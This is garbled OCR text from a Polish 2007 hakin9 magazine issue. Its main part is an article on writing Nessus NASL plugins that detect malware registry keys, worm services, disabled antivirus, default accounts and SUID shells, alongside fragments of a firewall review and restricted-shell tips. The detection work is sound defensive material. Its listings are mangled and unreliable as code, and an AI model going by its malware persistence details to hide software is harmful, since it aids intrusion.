skanowanie HTTP, SMTP i POP3 oraz bardzo ważne
aktualizacje automatyczne, bez których żadne zabezpie-
czenia antywirusowe nie spełniają swojego zadania.

Bardzo ciekawym dodatkiem jest możliwość filtrowa-

nia treści stron WWW, poczty przychodzącej i wycho-
dzącej, programów P2P oraz ruchu multimedialnego.

Do zarządzania urządzeniem dostajemy do dyspo-

zycji bardzo rozbudowany pakiet administracyjny – nie-
stety tylko pod Windows – konsolę SSHv2 oraz połącze-
nie przez RS-232. Urządzenie jest warte zainteresowa-
nia  dzięki  szerokiemu  zakresowi  możliwości,  jakie  nam
oferuje.  Jednak  brak  dokumentacji  w  języku  polskim  (a
przecież produkt ma być sprzedawany nam - Polakom) i
pakiet administracyjny przygotowany tylko dla systemów
z rodziny Windows trochę zniechęca. Pomimo tych niedo-
ciągnięć jest to urządzenie godne polecenia. W sieciach
domowych  pozwala  na  filtrowanie  informacji  napływają-
cych  z  Internetu  i  trafiających  do  naszych  pociech,  a  w
małych firmach pozwala ograniczyć dostęp do Sieci tylko
do konkretnych aplikacji, niezbędnych do pracy.

Robert Zadrożny

Producent: NETASQ

Model: NA-F60

Typ: Firewall

Przeznaczenie: małe i średnei firmy

Strona producenta: http://www.netascq.com

Cena: 6534,60 PLN

Ocena: 4,5/5

NETASQ NA-F60

Rysunek 1.

NA-F60

Podejrzany klucz rejestru

hakin9 Nr 8/2007

www.hakin9.org

Listing 1a.

Sprawdzanie klucza rejestru Grip Toolbar

(

description

)

{

script_id

(

16314

);

script_version

(

"$Revision: 1.6 $"

);

name

[

"english"

]

"Potentially unwanted software"

;

script_name

(

english

name

[

"english"

]);

desc

[

"english"

]

This script checks for the presence of files and programs which
might have been installed without the consent of the user of the
remote host.
Verify each of softwares found to see if they are compliant with
you security policy.
Solution : See the URLs which will appear in the report
Risk factor : High"

;

script_description

(

english

desc

[

"english"

]);

summary

[

"english"

]

"Checks for the presence of differents dll on the remote host"

;

script_summary

(

english

summary

[

"english"

]);

script_category

(

ACT_GATHER_INFO

);

script_copyright

(

english

);

family

[

"english"

]

"Windows"

;

script_family

(

english

family

[

"english"

]);

script_dependencies

(

"smb_hotfixes.nasl"

);

script_require_keys

(

"SMB/Registry/Enumerated"

);

script_require_ports

(

139

445

);

exit

(

);

}

#load specific SMB function

include

(

"smb_func.inc"

);

include

(

"smb_hotfixes.inc"

);

(

get_kb_item

(

"SMB/samba"

)

exit

(

);

global_var

handle

;

#get port info from knowledge base

port

kb_smb_transport

();

port

)

exit

(

);

#get credential and domain name from knowledge base

get_port_state

(

port

))

return

(

FALSE

);

kb_smb_login

();

pass

kb_smb_password

();

domain

kb_smb_domain

();

soc

open_sock_tcp

(

port

);

soc

)

exit

(

);

session_init

(

socket

soc

hostname

kb_smb_name

());

#connect to IPC$ share

ret

NetUseAdd

(

password

pass

domain

"IPC$"

);

(

ret

)

exit

(

);

#open an handle on registry entry KKEY_CLASS_ROOT

handle

RegConnectRegistry

(

hkey

HKEY_CLASS_ROOT

);

(

isnull

(

handle

)

exit

(

);

function

check_reg

(

name

url

key

item

exp

)

{

local_var

key_h

value

;

#open the registry key

key_h

RegOpenKey

(

handle

key

mode

MAXIMUM_ALLOWED

);

(

isnull

(

key_h

)

{

#query the subkey if item != NULL

value

RegQueryValue

(

handle

key_h

item

);

RegCloseKey

(

handle

key_h

);

(

isnull

(

value

)

value

[

];

else

return

;

}

else

return

;

#if subkey equals the exp value that we expected

(

exp

NULL

tolower

(

exp

)

tolower

(

))

hakin9 Nr 8/2007

www.hakin9.org

Początki

469E-A6E4-FC7CBD87BD7D}) i je-
dną z nazw plików, które dodawany
jest do systemu (gripcz4.dll).

Skrypt (Zobacz Listing 1) łączy

się do zdalnego rejestru, aby spraw-
dzić, czy istnieją GUID oraz nazwa
pliku (jest to wycinek z smb_suspicio-

us_files.nasl). Listing 2. przedstawia
nieco łatwiejszy przykład. Nie musi-
my w nim testować wartości wpisu
klucza, ale dowiedzieć się tylko, czy
klucz istnieje. Microsoft umożliwia
możliwość zabezpieczenia się przed

luką, polegającą na zdalnym urucho-
mieniu kodu w Vector Markup Langu-

age (aby dowiedzieć się więcej, zo-
bacz CVE-2006-4868). Użytkownicy
muszą wyrejestrować vgx.dll. Plugin
sprawdza, czy plik DLL został wyre-
jestrowany i wtedy nie jest uwzględ-
niany w rejestrze.

Podejrzany

autostart programu

Złośliwe oprogramowanie często
wykorzystuje następujące klucze

do dodania do nich wpisu i urucha-
mienia przez system podczas jego
startu:

• H K E Y_ LO C A L _ M AC H I N E\

S O F T W A R E \ M i c r o s o f t \

Windows\CurrentVersion\Run
–  przeznaczone  dla  progra-
mu,  który  musi  być  uruchamia-
ny  podczas  każdego  bootowa-
nia.  Warto  zauważyć,  że  ro-
ot  path  może  mieć  też  po-
stać  HKEY_CURRENT  USER,

Listing 1b.

Sprawdzanie klucza rejestru Grip Toolbar

{

report

string

(

"'"

name

"' is installed on the remote host.

"Make sure that the user of the remote host intended to install
this software and that its use matches your corporate security
policy.

\n\n

"Solution : "

url

"Risk factor : High"

);

#report specific data based on this malware

security_hole

(

port

kb_smb_transport

()

data

report

);

}

;

###############################################################################

name

make_list

();

name

[

]

"Grip Toolbar"

;

url

[

]

"http://www.giantcompany.com/antispyware/research/spyware/spyware-Grip-Toolbar.aspx"

;

key

[

]

"CLSID

4E7BD74F-2B8D-469E-A6E4-FC7CBD87BD7D}

nprocServer32"

;

item

[

]

NULL

;

exp

[

]

"gripcz4.dll"

;

###############################################################################

for

(

;

name

[

];

++)

{

#call the check_reg function

check_reg

(

name

[

]

url

[

]

key

[

]

item

[

]

exp

[

]);

}

RegCloseKey

(

handle

);

NetUseDel

();

Tabela 1.

Początkowa wartość usług Windows

Typ uruchomienia

Loader

Znaczenie

0x0 (Boot)

Kernel

Reprezentuje część stosu sterownika dla bootowanego
(uruchamianego) wolumenu i dlatego musi być załadowany
przez Boot Loader.

0x1 (System)

I/O subsystem

Reprezentuje sterownik ładowany podczas inicjalizacji Ker-
nela.

0x2 (Auto load)

Service Control Ma-
nager

Ładowany lub uruchamiany automatycznie dla wszystkich
uruchomień, bez względu na rodzaj usługi.

0x3 (Load on demand)

Service Control Ma-
nager

Dostępny bez względu na typ, jednak uruchamiany tylko
przez użytkownika (na przykład poprzez kliknięcie na ikonę
Urządzenia w Panelu sterowania).

0x4 (disabled)

Service Control Ma-
nager

NIE POWINIEN BYĆ URUCHAMIANY W ŻADNYM WY-
PADKU.

Podejrzany klucz rejestru

hakin9 Nr 8/2007

www.hakin9.org

Listing 2.

Sprawdzanie wyrejestrowania dll w Vector Markup Language

(

description

)

{

script_id

(

90001

);

script_cve_id

(

"CVE-2006-4868"

);

script_bugtraq_id

(

20096

);

script_version

(

"$Revision: 1.0 $"

);

name

[

"english"

]

"Vulnerability in Vector Markup Language Could Allow Remote Code Execution (925568)"

;

script_name

(

english

name

[

"english"

]);

desc

[

"english"

]

Synopsis

Arbitrary code can be executed on the remote host through the email client or the web browser.

Description

The remote host is running a version of Internet Explorer or Outlook Express which is vulnerable to a bug in the

Vector Markup Language handling routine which may allow an attacker execute arbitrary code on the

remote host by sending a specially crafted email.

Solution

A workaround is availabe at: http://www.microsoft.com/technet/security/advisory/925568.mspx.

Risk factor

High / CVSS Base Score: 8

(AV:R/AC:H/Au:NR/C:C/A:C/I:C/B:N)"

;

script_description

(

english

desc

[

"english"

]);

summary

[

"english"

]

"Checks if VML is registered"

;

script_summary

(

english

summary

[

"english"

]);

script_category

(

ACT_GATHER_INFO

);

script_copyright

(

english

);

family

[

"english"

]

"Windows : Microsoft Bulletins"

;

script_family

(

english

family

[

"english"

]);

script_dependencies

(

"smb_hotfixes.nasl"

);

script_require_keys

(

"SMB/Registry/Enumerated"

);

script_require_ports

(

139

445

);

exit

(

);

}

#load smb modules

include

(

"smb_func.inc"

);

include

(

"smb_hotfixes.inc"

);

include

(

"smb_hotfixes_fcheck.inc"

);

#get credential and hostname from kb

kb_smb_login

();

pass

kb_smb_password

();

domain

kb_smb_domain

();

port

kb_smb_transport

();

#exit if port is closed

get_port_state

(

port

))

exit

(

);

#open socket

soc

open_sock_tcp

(

port

);

soc

)

exit

(

);

#init session, connect to IPC$ share

session_init

(

socket

soc

hostname

kb_smb_name

());

NetUseAdd

(

password

pass

domain

"IPC$"

);

(

)

exit

(

);

hkcr

RegConnectRegistry

(

hkey

HKEY_CLASS_ROOT

);

(

isnull

(

hkcr

)

{

NetUseDel

();

exit

(

);

}

registered

;

#try to open given CLSID

key_h

RegOpenKey

(

handle

hkcr

key

"CLSID

10072CEC-8CC1-11D1- 986E-00A0C955B42E}

nprocServer32"

mode

MAXIMUM_ALLOWED

);

isnull

(

key_h

))

{

registered

;

}

RegCloseKey

(

handle

hkcr

);

NetUseDel

();

#if key was found

(

registered

)

security_hole

(

port

);

hakin9 Nr 8/2007

www.hakin9.org

Początki

Listing 3.

Sprawdzanie wpisu podklucza rejestru robaka NetSky

(

description

)

{

script_id

(

12070

);

script_version

(

"$Revision: 1.1 $"

);

name

[

"english"

]

"Netsky.B"

;

script_name

(

english

name

[

"english"

]);

desc

[

"english"

]

This system appears to be infected by Netsky.B which is a mass-mailing worm that uses its own SMTP engine to

distribute itself to the email addresses it collects when probing local hard drives or remote mapped drives.

Solution: Update your Anti-virus definitions file and perform a complete system scan.

See also:

http://vil.nai.com/vil/content/v_101034.htm,

http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM_NETSKY.B.

Risk factor: High"

;

script_description

(

english

desc

[

"english"

]);

summary

[

"english"

]

"Detects Netsky.B Registry Key"

;

script_summary

(

english

summary

[

"english"

]);

script_category

(

ACT_GATHER_INFO

);

script_copyright

(

english

);

family

[

"english"

]

"Windows"

;

script_family

(

english

family

[

"english"

]);

script_dependencie

(

"netbios_name_get.nasl"

"smb_login.nasl"

"smb_registry_access.nasl"

);

script_require_keys

(

"SMB/name"

"SMB/login"

"SMB/password"

"SMB/domain"

"SMB/transport"

);

script_require_ports

(

139

445

);

exit

(

);

}

include

(

"smb_nt.inc"

);

#return item found under key on HKEY_LOCAL_MACHINE root

version

registry_get_sz

(

key

"SOFTWARE

icrosoft

indows

urrentVersion

un"

item

"service"

);

(

version

)

exit

(

);

(

"services.exe -serv"

version

)

security_hole

(

port

);

Listing 4.

Sprawdzanie obecności podejrzanej usługi robaka Sdbot

(

description

)

{

script_id

(

95000

);

script_version

(

"$Revision: 1.0 $"

);

name

[

"english"

]

"W32/Sdbot.worm.gen.by"

;

script_name

(

english

name

[

"english"

]);

desc

[

"english"

]

This system appears to be infected by W32/Sdbot.worm.gen.by which is a worm spreading using multiple attacking vector.

Solution: Update your Anti-virus definitions file and perform a complete system scan.

See also: http://vil.mcafeesecurity.com/vil/content/v_133133.htm.

Risk factor: High"

;

script_description

(

english

desc

[

"english"

]);

summary

[

"english"

]

"Detects W32/Sdbot.worm.gen.by"

;

script_summary

(

english

summary

[

"english"

]);

script_category

(

ACT_GATHER_INFO

);

script_copyright

(

english

);

family

[

"english"

]

"Windows"

;

script_family

(

english

family

[

"english"

]);

script_dependencie

(

"netbios_name_get.nasl"

"smb_login.nasl"

"smb_registry_access.nasl"

);

script_require_keys

(

"SMB/name"

"SMB/login"

"SMB/password"

"SMB/domain"

"SMB/transport"

);

script_require_ports

(

139

445

);

exit

(

);

}

include

(

"smb_nt.inc"

);

#return item found under key on HKEY_LOCAL_MACHINE root

filepath

registry_get_sz

(

key

"system

urrentcontrolset

ervices

pcsvc

item

"imagepath"

);

(

filepath

)

exit

(

);

(

ystem32

pcsvc.exe"

filepath

)

security_hole

(

port

);

Podejrzany klucz rejestru

hakin9 Nr 8/2007

www.hakin9.org

H K E Y_ LO C A L _ M AC H I N E \

S O F T W A R E \ M i c r o s o f t \

W i n d o w s \ C u r r e n t Ve r s i o n \

RunServices – przeznaczone dla
usługi, która musi być urucha-
miana podczas każdego booto-
wania,

• H K E Y_ LO C A L _ M AC H I N E\

S O F T W A R E \ M i c r o s o f t \

W i n d o w s \ C u r r e n t Ve r s i o n \

RunServicesOnce – przeznaczo-
ne dla usługi, która musi być uru-
chamiana raz podczas następne-
go rebootowania. Wszystkie te
trzy klucze i ich wpisy są wczyty-
wane asynchronicznie.

• H K E Y_ LO C A L _ M AC H I N E\

S O F T W A R E \ M i c r o s o f t \

W i n d o w s \ C u r r e n t Ve r s i o n \

RunOnce  –  przeznaczone  dla
programu,  który  musi  być  uru-
chamiany  raz  podczas  następ-
nego  rebootowania;  są  wczy-
tywane  synchronicznie  w  nie-
określonym  porządku.  Warto  za-
uważyć,  że  root  path  może  też
mieć  postać  HKEY_CURRENT
USER  (szczegóły  pod  adresem:

http://support.microsoft.com/kb/

158022/en-us)

• H K E Y_ LO C A L _ M AC H I N E\

S O F T W A R E \ M i c r o s o f t \

W i n d o w s \ C u r r e n t Ve r s i o n \

RunOnceEx – dotyczy Windows
98 i Millennium.

Wpisy  i  sekcje  są  posortowane  al-
fabetycznie,  aby  wymusić  porzą-
dek  deterministyczny;  nie  jest  two-
rzony  odrębny  proces  dla  każde-
go  wpisu.  Lista  zależności  modu-
łów  dll  pozostaje  wczytana  (aby
dowiedzieć  się  więcej  zobacz  http:

//support.microsoft.com/?scid=kb%

3Benus%3B232487&x=18&y=13).

Przykład użycia: Rozprzestrze-

nia się robak Netsky.B i chcemy wie-
dzieć, czy stacje robocze w naszej
firmie zostały zainfekowane. Wiemy
już z przeglądu technicznego Trend-
Micro (http://www.trendmicro.com/

vinfo/virusencyclo/default5.asp?

V N a m e = W O R M _ N E T S K Y. B ) ,
że dodaje on wpis podklucza
o nazwie

service

z wartością

services.exe -serv

w kluczu re-

jestru HKEY_LOCAL_MACHINE\

Listing 5.

Sprawdzanie, czy została wyłączona usługa antywirusowa

Nod32

(

description

)

{

script_id

(

95001

);

script_version

(

"$Revision: 1.0 $"

);

name

[

"english"

]

"Nod32 antivirus disabled"

;

script_name

(

english

name

[

"english"

]);

desc

[

"english"

]

Synopsis :

Remote system is not configured for running Nod32 antivirus.

Description:

The remote host does not have Nod32 antivirus enabled.

Solution:

Enable Nod32 service on this host

Risk factor:

None"

;

script_description

(

english

desc

[

"english"

]);

summary

[

"english"

]

"Determines if Nod32 antivirus is disabled"

;

script_summary

(

english

summary

[

"english"

]);

script_category

(

ACT_GATHER_INFO

);

script_copyright

(

english

);

family

[

"english"

]

"Windows"

;

script_family

(

english

family

[

"english"

]);

script_dependencies

(

"netbios_name_get.nasl"

"smb_login.nasl"

"smb_registry_access.nasl"

);

script_require_keys

(

"SMB/transport"

"SMB/name"

"SMB/login"

"SMB/password"

"SMB/registry_access"

);

script_require_ports

(

139

445

);

exit

(

);

}

include

(

"smb_func.inc"

);

port

get_kb_item

(

"SMB/transport"

);

port

)

port

139

;

#load credential and host data from kb

name

kb_smb_name

();

name

)

exit

(

);

kb_smb_login

();

pass

kb_smb_password

();

domain

kb_smb_domain

();

port

kb_smb_transport

();

#test if port is closed

(

get_port_state

(

port

)

exit

(

);

#open socket

soc

open_sock_tcp

(

port

);

(

soc

)

exit

(

);

#init session to host

session_init

(

socket

soc

hostname

name

);

#open share with credential

NetUseAdd

(

password

pass

domain

"IPC$"

);

(

)

exit

(

);

#connect to HKEY_LOCAL_MACHINE registry

hklm

RegConnectRegistry

(

hkey

HKEY_LOCAL_MACHINE

);

(

isnull

(

hklm

)

{

NetUseDel

();

exit

(

);

}

key

"SYSTEM

urrentControlSet

ervices

OD32krn"

;

item

"Start"

;

#open NOD32 key

key_h

RegOpenKey

(

handle

hklm

key

mode

MAXIMUM_ALLOWED

);

(

isnull

(

key_h

)

{

#catch the value

value

RegQueryValue

(

handle

key_h

item

);

#test if value is set to disable mode

isnull

(

value

)

((

value

[

]

)||(

value

[

]

))

#if so it's stange, we report it

security_note

(

port

);

RegCloseKey

(

handle

key_h

);

}

RegCloseKey

(

handle

hklm

);

NetUseDel

();

hakin9 Nr 8/2007

www.hakin9.org

Początki

Listing 6.

Sprawdzanie obecności konta hax0r z pustym hasłem

(

description

)

{

script_id

(

11253

);

script_version

(

"$Revision: 1.10 $"

);

script_cve_id

(

"CVE-1999-0502"

);

script_name

(

english

"Unpassworded hax0r account"

);

desc

[

"english"

]

The account 'hax0r' has no password set.
An attacker may use it to gain further privileges on this system
Risk factor: High
Solution: Set a password for this account or disable it"

;

script_description

(

english

desc

[

"english"

]);

script_summary

(

english

"Logs into the remote host"

);

script_category

(

ACT_GATHER_INFO

);

script_family

(

english

"Default Unix Accounts"

);

script_copyright

(

english

);

script_dependencie

(

"find_service.nes"

"ssh_detect.nasl"

);

script_require_ports

(

"Services/telnet"

"Services/ssh"

);

script_require_keys

(

"Settings/ThoroughTests"

);

exit

(

);

}

#load needed functions

include

(

"default_account.inc"

);

include

(

"global_settings.inc"

);

(

thorough_tests

)

exit

(

);

account

"hax0r"

;

#if no optional 2nd parameter is given in check_account(login, password),

#check against an empty password

port

check_account

(

account

);

(

port

)

security_hole

(

port

);

Listing 7a.

Sprawdzanie uprawnień klucza rejestru

(

description

)

{

script_id

(

11867

);

script_bugtraq_id

(

2065

);

script_version

(

"$Revision: 1.8 $"

);

script_cve_id

(

"CVE-2001-0047"

);

name

[

"english"

]

"SMB Registry : permissions of the Microsoft Transaction Server key"

;

script_name

(

english

name

[

"english"

]);

desc

[

"english"

]

Synopsis :
A local user can gain additional privileges.
Description:
The registry key HKLM

OFTWARE

icrosoft

ransaction Server

ackages

can be modified by users not in the admin group.
Write access to this key allows an unprivileged user to gain additional
privileges.
See also:
http://www.microsoft.com/technet/security/bulletin/ms00-095.mspx
Solution:
Use regedt32 and set the permissions of this key to:
- admin group: Full Control
- system: Full Control
- everyone: Read
Risk factor:
Medium / CVSS Base Score: 5
(AV:L/AC:L/Au:NR/C:P/A:P/I:P/B:N)"

;

script_description

(

english

desc

[

"english"

]);

summary

[

"english"

]

"Determines the access rights of a remote key"

;

script_summary

(

english

summary

[

"english"

]);

script_category

(

ACT_GATHER_INFO

);

script_copyright

(

english

);

Podejrzany klucz rejestru

hakin9 Nr 8/2007

www.hakin9.org

SOFTWARE\Microsoft\Windows\

CurrentVersion\Run, aby wyko-
nywać autostart podczas booto-
wania.

Skrypt (zobacz Listing 3.) otwie-

ra rejestr, sprawdza obecność po-
dejrzanego klucza i testuje wartość
podklucza.

Podejrzana usługa

Czasami  złośliwe  oprogramowanie  in-
staluje  się  jako  usługa,  by  móc  uru-
chamiać  się  automatycznie  podczas

Listing 7b.

Sprawdzanie uprawnień klucza rejestru

family

[

"english"

]

"Windows"

;

script_family

(

english

family

[

"english"

]);

script_dependencies

(

"netbios_name_get.nasl"

"smb_login.nasl"

"smb_registry_access.nasl"

);

script_require_keys

(

"SMB/transport"

"SMB/name"

"SMB/login"

"SMB/password"

"SMB/registry_access"

);

script_require_ports

(

139

445

);

exit

(

);

}

#load SMB function

include

(

"smb_func.inc"

);

access

get_kb_item

(

"SMB/registry_access"

);

access

)

exit

(

);

port

get_kb_item

(

"SMB/transport"

);

port

)

port

139

;

#get credential and hostname from kb

name

kb_smb_name

();

name

)

exit

(

);

kb_smb_login

();

pass

kb_smb_password

();

domain

kb_smb_domain

();

port

kb_smb_transport

();

#check if port is still open

(

get_port_state

(

port

)

exit

(

);

#open network connection

soc

open_sock_tcp

(

port

);

(

soc

)

exit

(

);

#init session to hostname

session_init

(

socket

soc

hostname

name

);

#using given credential

NetUseAdd

(

password

pass

domain

"IPC$"

);

(

)

exit

(

);

#connect to registry key

hklm

RegConnectRegistry

(

hkey

HKEY_LOCAL_MACHINE

);

#exit if key does not exist

(

isnull

(

hklm

)

{

NetUseDel

();

exit

(

);

}

key

"SOFTWARE

icrosoft

ransaction Server

ackages"

;

#open key SOFTWARE\Microsoft\Transaction Server\Packages

key_h

RegOpenKey

(

handle

hklm

key

mode

MAXIMUM_ALLOWED

ACCESS_SYSTEM_SECURITY

);

#check if key exist

isnull

(

key_h

))

{

#get key privilege

rep

RegGetKeySecurity

(

handle

key_h

type

DACL_SECURITY_INFORMATION

SACL_SECURITY_INFORMATION

GROUP_SECURITY_INFORMATION

OWNER_SECURITY_INFORMATION

);

#check if key is writable by non admin users

isnull

(

rep

)

registry_key_writeable_by_non_admin

(

security_descriptor

rep

))

{

#if so it's a flaw

security_warning

(

port

);

}

#close registry connection

RegCloseKey

(

handle

key_h

);

}

#close registry connection

RegCloseKey

(

handle

hklm

);

#close network connection

NetUseDel

();

hakin9 Nr 8/2007

www.hakin9.org

Początki

bootowania.  Aby  tej  sztuki  dokonać,
programy  takie  muszą  dodać  wpis  w
rejestrze w HKEY_LOCAL_MACHINE\
SYSTEM\CurrentControlSet\Services\
servicename.Następnie  muszą  one
ustawić  wpis  podklucza  o  nazwie
«ImagePath»  zawierający  ścieżkę  do
wykonywalnych  danych,  które  mają
zostać załadowane do pamięci (Listing
9.), gdzie driverName lub serviceName
ma taką samą wartość jak powiązana
nazwa podklucza Services (w naszym
przypadku  jest  to  servicename)  (aby
dowiedzieć  się  więcej,  zobacz:  http:

//support.microsoft.com/kb/103000)
Skrypt wykrywający określony wpis w
rejestrze. Zobacz Listing 4.

Podejrzana

załadowana usługa

Każdy wpis w HKEY_LOCAL_

M A C H I N E \ S Y S T E M \ C u r r e n t

ControlSet\Services jest usługą i
posiada klucz startowy (stała REG_

DWORD). Klucz ten określa począt-
kowe wartości dla danych usług . Zo-
bacz Tabela 1. Wartość początkowa
jest ignorowana dla adapterów. Jeśli
Typ to wartość Win32 Service, war-
tość początkowa musi być ustawiona
na Auto, Demand, lub Disabled.

Zobacz również: http://support.

microsoft.com/kb/103000 for details.

Przykład użycia: robak o na-

zwie W32/Sdbot.worm.gen.by (zo-
bacz opis pod adresem http://vil.

mcafeesecurity.com/vil/content/v_

133133.htm) dodaje podejrzany wpis
klucza pod hkey _local_machine\

system\currentcontrolset\services\

rpcsvc\ imagepath=" %WinDir%\

System32\rpcsvc.exe".

Podejrzana

wyłączona usługa

Zgodnie z powyższą tabelą, wartość
klucza ustawiona na 0x3 lub 0x4 mo-
że budzić podejrzenia. Typowym dzia-
łaniem jest sprawdzenie, czy została
wyłączona usługa antywirusowa.

Działanie plugina przedstawiamy

na Listingu 5.

Podejrzane konto,

kradzież hasła

Nessus posiada mechanizmy słu-
żące do wykrywania podejrzanych

Listing 8.

Sprawdzanie uprawnień powłoki

#check if Nessus version is up to date enough (>= 2.1.1) to know the

pread

#function

(

defined_func

(

"pread"

)

exit

(

);

(

description

)

{

script_id

(

95002

);

script_version

(

"1.0"

);

name

[

"english"

]

"Shell SUID permission"

;

script_name

(

english

name

[

"english"

]);

desc

[

"english"

]

This plugin checks wrong permission on /bin/bash and /bin/zsh

Risk factor: High"

;

script_description

(

english

desc

[

"english"

]);

summary

[

"english"

]

"Check SUID bit on shells"

;

script_summary

(

english

summary

[

"english"

]);

script_category

(

ACT_GATHER_INFO

);

script_copyright

(

english

David Maciejak"

);

family

[

"english"

]

"Policy Compliance"

;

script_family

(

english

family

[

"english"

]);

script_dependencies

(

"ping_host.nasl"

"ssh_settings.nasl"

);

exit

(

);

}

#load SSH functions

include

(

"ssh_func.inc"

);

buf

;

port

kb_ssh_transport

();

# On the local machine, just run the command

(

islocalhost

())

{

#execute command with process read

buf

pread

(

cmd

"ls"

argv

make_list

(

"ls"

"-l"

"/bin/bash"

"/bin/ksh"

));

}

else

{

#try to open or reuse an existing SSH connection

sock

ssh_login_or_reuse_connection

();

sock

)

exit

(

);

#if socket is open, execute command remotely

buf

ssh_cmd

(

socket

sock

cmd

"/bin/ls -l /bin/bash /bin/ksh"

timeout

);

ssh_close_connection

();

}

buf

)

{

display

(

"could not execute command

);

exit

(

);

}

#split each line from the buffer

lines

split

(

buf

);

shells

;

foreach

line

(

lines

)

{

#typical line is -rwsr-xr-x 1 root root 664084 2006-04-22 00:51 /bin/bash

#check for SUID

(

eregmatch

(

pattern

string

line

icase

))

{

buf2

split

(

line

sep

' '

);

#check file owner

(

chomp

(

buf2

[

])

"root"

)

{

#shellname is the last from ls command

shellname

buf2

[

max_index

(

buf2

];

shells

shellname

;

}

(

shells

>!<

)

{

report

desc

[

"english"

]

nPlugin

output

nThe

shells

below

have

incorrect

permission

shells

;

security_hole

(

port

data

report

);

}

exit

(

);

www.hakin9.org

nazw kont, kont bez hasła i dobrze
znanych par konto/hasło.

Poniżej przedstawiamy działanie

pluginu sprawdzającego, czy w sys-
temie istnieje konto o nazwie hax0r
z pustym hasłem. Cała praca opie-
ra się na funkcji

check _ account

, któ-

ra próbuje za pomocą protokołów tel-
net lub ssh połączyć się ze zdalnym
celem. Zobacz Listing 6.

Użytkownicy aplikacji Nessus 3

mogą korzystać z opcji sprawdzania
zgodności.  Mogą  poddawać  audyto-
wi  konfigurację  urządzeń  systemów
UNIX  i  Windows.    Mogą  sprawdzać
minimalny/maksymalny okres ważno-
ści  hasła,  minimalną  długość  hasła,
złożoność hasła i mają do dyspozycji
jeszcze wiele innych możliwości.

Przykład:

<item>
name: "min_password_length"

description: "Minimum password length"
value: "14..MAX"
</item>

Ten audyt sprawdza, czy minimalna
długość hasła w systemie UNIX wy-
nosi 14 znaków.

Aby dowiedzieć się więcej, zo-

bacz: http://cgi.tenablesecurity.com/

nessus_compliance_checks.pdf.

Podejrzane przywileje

lub uprawnienia obiektu

Przywilej w rejestrze SMB może być
niezgodny z polityką bezpieczeństwa,
co z kolei może doprowadzić do ujaw-
nienia  informacji  umożliwiającej  nie-
powołanemu  użytkownikowi  dostęp
do danych. Skrypt (Zobacz Listing 7)
sprawdzający  HKLM\SOFTWARE\

Microsoft\Transaction Server\Pack-

ages, zobacz też MS00-095,

W rodzinie systemów UNIX moż-

na  niekiedy  sprawdzić  uprawnie-
nia  za  pomocą  lokalnych  pluginów.
Skrypt  (zobacz  Listing  8.)  testuje,
czy  zwykłe  powłoki  mają  SUID  ro-
ota;  ten  rodzaj  luki  może  potencjal-
nie dać atakującemu nieautoryzowa-
ny dostęp z poziomu roota.

Zauważmy, że ten rodzaj skryp-

tu wykorzystującego polecenia ze-
wnętrzne musi być podpisany przez
zespół Nessus dla celów bezpieczeń-
stwa (za pomocą polecenia

nasl -S

zanim  zostanie  użyty.  Należy  usta-
wić  opcję  nasl_no_signature_check
na  wartość  yes  w  nessusd.conf,  co
spowoduje, że serwer Nessus doko-
na  obejścia  jakichkolwiek  sygnatur
skryptów  i  serwer  Nessus  wczyta/
wykona skrypty bez względu na au-
tentyczność sygnatur.

W systemach Windows, taki plu-

gin może również zostać wykonany
poprzez połączenie SMB lub instala-
cję serwera SSH.

Jeśli posiadasz Nessus 3 direct

feed, powinieneś przeprowadzić
sprawdzanie zgodności.

Audyt FILE_CHECK jest wyko-

rzystywany do wykrywania danego
pliku i jego ustawień. Na Listingu 10.
możesz zobaczyć odpowiednik tego,
co robi skrypt. l

Listing 9.

Fragment rejestru

systemu Windows

ImagePath

REG_DWORD

Path

and

filename

Specifies

path

name

For

adapters

this

value

ignored

Default

For

driver

WinDir

SYSTEM32

DRIVERS

driverName

SYS

For

service

WinDir

SYSTEM32

serviceName

EXE

Listing 10.

Przykład audytu

custom_item

sytem

"Linux"

type

FILE_CHECK

description

"Permission and

ownership check for /bin/bash"

file

"/bin/bash"

owner

"root"

group

"root"

mode

"-rwxr-xr-x"

item

O autorze

David  Maciejak  mieszka  we  Francji,
jest specjalistą do spraw zabezpieczeń.
Spędził nieco swojego wolnego czasu,
pracując  nad  opensourceowymi  pro-
jektami,  takimi  jak  Nessus,  Metasplo-
it oraz Snort.
Kontakt z autorem: koma@kyxar.fr

Restrykcyjne powłoki

hakin9 Nr 8/2007

www.hakin9.org

jak bash, sh czy ksh. Powłoki te, od-
powiednio wywołane, mogą stać się
powłokami restrykcyjnymi. Zwykle
wystarczy wywołać plik powłoki pod
nazwą zaczynającą się od litery r. Dla
powłoki bash, będzie to rbash, dla sh
- rsh itd. Wygodnie jest tutaj posłużyć
się dowiązaniem symbolicznym:

ln -s /bin/bash /bin/rbash

Innym sposobem jest wywoła-
nie powłoki z parametrem

-r

, lub

-restricted

Powłoka uruchomiona w takim

trybie będzie nakładała ogranicze-
nia. Najbardziej istotne z nich to:

• brak możliwości zmiany katalogu

poleceniem

• użytkownik może uruchamiać je-

dynie komendy zawarte w zmien-
nej

PATH

lub wbudowane w samą

powłokę,

• brak możliwości zmiany zmien-

nych środowiskowych

SHELL

PATH

ENV

BASH _ ENV

• zabronione uruchamianie ko-

mend zawierających ścieżkę do
pliku (np.

/bin/ls

• zabronione przekierowanie wyj-

ścia aplikacji przy użyciu opera-
torów jak

czy

• wyłączona komenda

exec

Po utworzeniu restrykcyjnej powło-
ki, w postaci symbolicznego linku
– rbash, jesteśmy gotowi, aby przypi-
sać ją danemu użytkownikowi. Można
tego dokonać, edytując bezpośrednio
plik passwd lub wydając komendę:

usermod -s /bin/rbash john

Niekiedy konieczne może okazać się
dodanie linijki /bin/rbash do pliku /

etc/shells, w przeciwnym razie część
usług (jak np. serwer FTP) może od-
mówić zalogowania użytkownika.

Ustawienie samej powłoki to nie

wszystko; kolejnym krokiem jest przy-
gotowanie katalogu użytkownika. Ka-
talog ten powinien mieć ustawione
prawa 511 (najlepiej gdyby jego wła-
ścicielem był root, a nie użytkownik).
Wewnątrz katalogu należy utworzyć
plik .bash_profile ustawiając mu pra-

wa dostępu 444 oraz właściciela ro-

ot. Poza katalogiem domowym użyt-
kownika należy utworzyć katalog, w
którym umieszczone zostaną wybra-
ne programy. Może to być np. /usr/

local/rbin. W katalogu tym umieścimy
dowiązania symboliczne do aplikacji,
które chcemy udostępnić, np.

ln –s /usr/bin/passwd \
/usr/local/rbin/passwd

Ostatnim krokiem jest edycja pli-
ków konfiguracyjnych powłoki. W pli-
